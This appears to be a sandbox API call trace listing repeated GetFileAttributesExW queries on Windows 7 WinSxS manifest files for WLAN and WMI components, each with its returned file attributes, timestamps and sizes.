	[0106.449] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlansvc.resources_31bf3856ad364e35_6.1.7600.16385_en-us_99ba7ba1afcbe958.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlansvc.resources_31bf3856ad364e35_6.1.7600.16385_en-us_99ba7ba1afcbe958.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2fef8 | out: lpFileInformation=0x12a2fef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa153689, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa153689, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xbd3)) returned 1
	[0106.449] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlansvc_31bf3856ad364e35_6.1.7601.17514_none_fa6a47c21b85ab79.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlansvc_31bf3856ad364e35_6.1.7601.17514_none_fa6a47c21b85ab79.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2ff48 | out: lpFileInformation=0x12a2ff48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eedb04c, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x7eedb04c, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x7ef2730c, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x3221f)) returned 1
	[0106.449] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlanui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_82efffc4fc376e66.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlanui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_82efffc4fc376e66.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2ff98 | out: lpFileInformation=0x12a2ff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa212426, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa212426, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x753)) returned 1
	[0106.450] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlanui_31bf3856ad364e35_6.1.7601.17514_none_cab225b60372e411.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlanui_31bf3856ad364e35_6.1.7601.17514_none_cab225b60372e411.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6008 | out: lpFileInformation=0x12ae6008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebf75b, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x78ebf75b, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x78ee58bb, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1d31)) returned 1
	[0106.450] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlanutil.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bff056e2ca840700.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlanutil.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bff056e2ca840700.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6058 | out: lpFileInformation=0x12ae6058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5a80946, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf6884934, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf5a80946, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x87f)) returned 1
	[0106.450] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlanutil_31bf3856ad364e35_6.1.7600.16385_none_970ca4e227bb455d.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlanutil_31bf3856ad364e35_6.1.7600.16385_none_970ca4e227bb455d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae60a8 | out: lpFileInformation=0x12ae60a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c638450, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9815764, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x5dc6df4f, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x996)) returned 1
	[0106.451] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmadmod_31bf3856ad364e35_6.1.7601.17514_none_e474f0ac34979bc4.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmadmod_31bf3856ad364e35_6.1.7601.17514_none_e474f0ac34979bc4.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae60f8 | out: lpFileInformation=0x12ae60f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5eb3a60, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xb5eb3a60, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0xb5effd21, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x28fd)) returned 1
	[0106.451] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmadmoe_31bf3856ad364e35_6.1.7600.16385_none_e2b5641237601cb1.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmadmoe_31bf3856ad364e35_6.1.7600.16385_none_e2b5641237601cb1.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6148 | out: lpFileInformation=0x12ae6148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b2c93dd, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x7b2c93dd, ftLastAccessTime.dwHighDateTime=0x1ca042a, ftLastWriteTime.dwLowDateTime=0x7b44617f, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x16df)) returned 1
	[0106.451] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmcodecdspps_31bf3856ad364e35_6.1.7600.16385_none_3f637c620f9f1a87.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmcodecdspps_31bf3856ad364e35_6.1.7600.16385_none_3f637c620f9f1a87.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6198 | out: lpFileInformation=0x12ae6198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab3bece, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x2ab3bece, ftLastAccessTime.dwHighDateTime=0x1ca0429, ftLastWriteTime.dwLowDateTime=0x2ab6202b, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x1410)) returned 1
	[0106.451] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-cmiplugin_31bf3856ad364e35_6.1.7601.17514_none_1b28925642a756f7.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-cmiplugin_31bf3856ad364e35_6.1.7601.17514_none_1b28925642a756f7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae61e8 | out: lpFileInformation=0x12ae61e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74d95ca3, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x74d95ca3, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x74dbbe03, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xcdd)) returned 1
	[0106.452] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-consumers_31bf3856ad364e35_6.1.7600.16385_none_a6c7190f7292676c.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-consumers_31bf3856ad364e35_6.1.7600.16385_none_a6c7190f7292676c.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6238 | out: lpFileInformation=0x12ae6238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b273da, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xe1fcaa4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x9e973c9a, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x20f7)) returned 1
	[0106.452] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-core-fastprox-dll_31bf3856ad364e35_6.1.7600.16385_none_573e4501936daa8f.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-core-fastprox-dll_31bf3856ad364e35_6.1.7600.16385_none_573e4501936daa8f.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6288 | out: lpFileInformation=0x12ae6288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80950b27, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x80950b27, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x4dbccfa6, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x4b51)) returned 1
	[0106.452] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-core-providerhost_31bf3856ad364e35_6.1.7601.17514_none_6e88c3faa2049408.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-core-providerhost_31bf3856ad364e35_6.1.7601.17514_none_6e88c3faa2049408.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae62d8 | out: lpFileInformation=0x12ae62d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c4144ee, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x5c4144ee, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x5c43a64e, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x32d3)) returned 1
	[0106.452] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-core-repdrvfs-dll_31bf3856ad364e35_6.1.7600.16385_none_da36ab884a9c25c2.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-core-repdrvfs-dll_31bf3856ad364e35_6.1.7600.16385_none_da36ab884a9c25c2.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6328 | out: lpFileInformation=0x12ae6328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80976c84, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x80976c84, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x5afa64f6, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xe20)) returned 1
	[0106.453] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-core-svc.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e89d39c14603adac.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-core-svc.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e89d39c14603adac.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6378 | out: lpFileInformation=0x12ae6378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a89941, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf20340b7, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf1a89941, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xf64)) returned 1
	[0106.453] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-core-svc_31bf3856ad364e35_6.1.7601.17514_none_fed8c13f0d90a8cf.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-core-svc_31bf3856ad364e35_6.1.7601.17514_none_fed8c13f0d90a8cf.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae63c8 | out: lpFileInformation=0x12ae63c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbe211a, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x5dbe211a, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x5dc2e3da, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x2a7f)) returned 1
	[0106.453] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-core-wbemcomn-dll_31bf3856ad364e35_6.1.7601.17514_none_61a1336c39d1f6dc.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-core-wbemcomn-dll_31bf3856ad364e35_6.1.7601.17514_none_61a1336c39d1f6dc.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6418 | out: lpFileInformation=0x12ae6418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51036543, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x51036543, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x51082803, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbc8)) returned 1
	[0106.453] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-core-wbemcore-dll_31bf3856ad364e35_6.1.7601.17514_none_3fe5b852ed7138b6.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-core-wbemcore-dll_31bf3856ad364e35_6.1.7601.17514_none_3fe5b852ed7138b6.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6468 | out: lpFileInformation=0x12ae6468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b2361c, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x68b2361c, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x68bbbb9e, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1d8e)) returned 1
	[0106.454] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-core-wbemess-dll_31bf3856ad364e35_6.1.7600.16385_none_bfca40cb4951ede6.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-core-wbemess-dll_31bf3856ad364e35_6.1.7600.16385_none_bfca40cb4951ede6.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae64b8 | out: lpFileInformation=0x12ae64b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8099cde1, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8099cde1, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6306df6c, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x10e4)) returned 1
	[0106.454] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_30bc7fe1e159c5d3.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_30bc7fe1e159c5d3.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6508 | out: lpFileInformation=0x12ae6508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b6599c, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf5b6599c, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x1c46)) returned 1
	[0106.454] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-core_31bf3856ad364e35_6.1.7601.17514_none_177a088436382a34.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-core_31bf3856ad364e35_6.1.7601.17514_none_177a088436382a34.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6558 | out: lpFileInformation=0x12ae6558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x469bc170, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x469bc170, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x46a08431, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x18947)) returned 1
	[0106.455] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-ds-provider_31bf3856ad364e35_6.1.7601.17514_none_e70f3fb2e8f114ba.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-ds-provider_31bf3856ad364e35_6.1.7601.17514_none_e70f3fb2e8f114ba.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae65a8 | out: lpFileInformation=0x12ae65a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f68376b, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x5f68376b, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x5f6cfa2b, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x172d)) returned 1
	[0106.455] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-events_31bf3856ad364e35_6.1.7600.16385_none_0c4ed7b1a5ec567a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-events_31bf3856ad364e35_6.1.7600.16385_none_0c4ed7b1a5ec567a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae65f8 | out: lpFileInformation=0x12ae65f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a31c294, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7a31c294, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xc58a6b63, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x8c6)) returned 1
	[0106.455] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-feature-core_31bf3856ad364e35_6.1.7600.16385_none_957e23cd0f7ab2cf.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-feature-core_31bf3856ad364e35_6.1.7600.16385_none_957e23cd0f7ab2cf.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6648 | out: lpFileInformation=0x12ae6648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3fce0, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x80b3fce0, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7e801ed6, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x323)) returned 1
	[0106.455] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-feature-misc_31bf3856ad364e35_6.1.7600.16385_none_960fd6670f17e314.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-feature-misc_31bf3856ad364e35_6.1.7600.16385_none_960fd6670f17e314.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6698 | out: lpFileInformation=0x12ae6698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b273da, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86a6aa8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x7e828033, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x718)) returned 1
	[0106.456] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-feature-providers_31bf3856ad364e35_6.1.7600.16385_none_7cc37cc72d0021de.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-feature-providers_31bf3856ad364e35_6.1.7600.16385_none_7cc37cc72d0021de.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae66e8 | out: lpFileInformation=0x12ae66e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83bbf94e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x83bbf94e, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7e828033, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x2a6)) returned 1
	[0106.456] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-feature-ui_31bf3856ad364e35_6.1.7600.16385_none_afa9d7d64797091c.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-feature-ui_31bf3856ad364e35_6.1.7600.16385_none_afa9d7d64797091c.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6738 | out: lpFileInformation=0x12ae6738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c0bc08, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x83c0bc08, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7e84e190, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x298)) returned 1
	[0106.456] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-filter.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1ea9eb77ce105532.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-filter.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1ea9eb77ce105532.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6788 | out: lpFileInformation=0x12ae6788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe9f0478, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfe9f0478, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c5)) returned 1
	[0106.456] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-filter_31bf3856ad364e35_6.1.7600.16385_none_3813b0e96fcac66d.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-filter_31bf3856ad364e35_6.1.7600.16385_none_3813b0e96fcac66d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae67d8 | out: lpFileInformation=0x12ae67d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab09e0f4, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x7e0cc996, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xab11050b, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x1460)) returned 1
	[0106.457] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-iproute-provider_31bf3856ad364e35_6.1.7600.16385_none_a917cbad413907b3.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-iproute-provider_31bf3856ad364e35_6.1.7600.16385_none_a917cbad413907b3.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6828 | out: lpFileInformation=0x12ae6828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b73694, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xaee16d0, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x768e7074, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x1467)) returned 1
	[0106.457] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-jobobject-provider_31bf3856ad364e35_6.1.7600.16385_none_c0e48a4441b3f2e7.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-jobobject-provider_31bf3856ad364e35_6.1.7600.16385_none_c0e48a4441b3f2e7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6878 | out: lpFileInformation=0x12ae6878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b73694, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xaf53db4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4e32f1ac, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x392e)) returned 1
	[0106.457] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-krnlprov-provider_31bf3856ad364e35_6.1.7600.16385_none_3fa5b5a70ec7f461.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-krnlprov-provider_31bf3856ad364e35_6.1.7600.16385_none_3fa5b5a70ec7f461.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae68c8 | out: lpFileInformation=0x12ae68c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b4d537, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86343c4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x7b8244f1, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x2035)) returned 1
	[0106.458] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-management-snapins_31bf3856ad364e35_6.1.7600.16385_none_f7dacf5fd4a3c2a7.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-management-snapins_31bf3856ad364e35_6.1.7600.16385_none_f7dacf5fd4a3c2a7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6918 | out: lpFileInformation=0x12ae6918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83be5aab, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x13e83d00, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xdba5560c, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x55e9)) returned 1
